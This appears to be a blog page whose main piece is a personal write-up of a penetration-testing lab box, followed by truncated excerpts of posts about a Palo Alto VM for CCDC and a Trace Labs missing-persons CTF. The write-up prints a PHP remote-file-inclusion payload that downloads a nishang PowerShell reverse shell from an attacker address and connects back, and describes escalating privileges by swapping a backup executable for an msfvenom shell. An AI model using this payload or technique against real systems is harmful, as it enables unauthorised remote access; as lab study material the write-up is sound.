I enumerate FileZilla and MySQL first. That FTP version has no remote execution vulnerability. MySQL won't let me connect. I believe there is a program called sqsh that can circumvent that issue. However I move on.

The port 4443 and 8080 host the same website. An RFI vulnerability exists.


I get stuck here. Multiple reverse shells do not work. I use nishang and that works. https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1. Command: <?php system("powershell iex (New-Object Net.WebClient).DownloadString('http://192.168.49.232/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.49.232 -Port 443")?>

Priv Esc

I get stuck here for hours and hours. I use plink.exe to get to MySQL. Nothing. I use winPEAS. Nothing. Sherlock. Nothing. PowerUp. Kernel exploits. Nothing. Stuff is there, but for Edge. I use local_exploit_suggester on metasploit. Nothing. I see a C:\Backup folder, walk in, and walk out. Which is the problem. The priv esc was right there.

I used a hint and it said "go to backups". Then I thought to replace the TFP.EXE with my already existing msfvenom shell.exe I gave to rupert. It works.

Questions

  1. Winpeas.exe binary download does not exist anymore. And I don't feel like compliling it with C#. Where to get this. Winpeas.bat, I don't like it. It's extremely slow and Powershell does not like it. Keeping my ~2 year old winPEAS isn't a solution either.
  2. How to port forward more than one port with Plink
  3. Does a pspy32 exist for Windows. Where I would see this ~5 minute process. Instead of guessing something is happening in the background. Very easy on Linux, not sure for Windows

Lessons Learned

  1. Took me too long to think of RFI. Even if its rare, try it anyway.
  2. C:\Backups is out of place.
  3. Accidentally remembered php:filters exist

Brad Traversy MySQL CheatSheet PentestMonkey SQL CheatSheet MySQL Statement Architecture Jarvis Walkthrough Step 1 - Try to make your query. Visualize it.

Palo Alto for GNS3 CCDC Tutorial

Opening Hello fellow CCDC Competitors! Struggling to get a Palo-Alto VM? I know how you can get one! Email me at ASzampiasSWD@gmail.com. I'll tell you the steps to get a PA-VM for GNS3. Why am I giving this info to you? Wouldn't it make sense to hog the info to myself? Wouldn't my team have an advantage? There are have and have not universities when it comes to PaloAltos. I fell into the "have not" group. Our college didn't have access to PA-VMs and still doesn't. Even if PA Cybersecurity Academy is free, there is too much red tape. I can't change the outcome. I can only come up with this one solution. Another reason is Tri-C is a tryout team. I think its pretty unfair as a potential Firewall Admin I'm the only one with access. No one can challenge me unless they spend 2K for a PA-VM. It becomes a rich-person only position. I have a leftover PA-VM from 2018 I promised not to share. I couldn't share that with my challengers. But I f

Trace Labs Global Missing Persons CTF V

Trace Labs CTF V TraceLabs hosted the Global Missing Persons CTF V event on July 11, 2020. My team //synergy got 64th place out of 190 teams. Introduction This was my first Trace Labs CTF. I captained a team. The good thing about being a captain is you can control who is on the team. My rules were: Must have sock puppet accounts ready. Must have a VPN. Writing out this is a competitive team where we work the entire 6 hours. I was worried about a future team member spamming submissions and disqualifying the team. I thought my requirements would eliminate people who weren't serious. The team hit 4 members Friday evening pretty quickly. Notes My laptop was too slow for this event. My virtual machine froze and I had to restart. Restarting means I have to login to my accounts again. I'll use my desktop next time. The team used Slack and Trello. Our strategy was to research a person and rotate every hour. This strategy broke after 1 rotation. Some missin
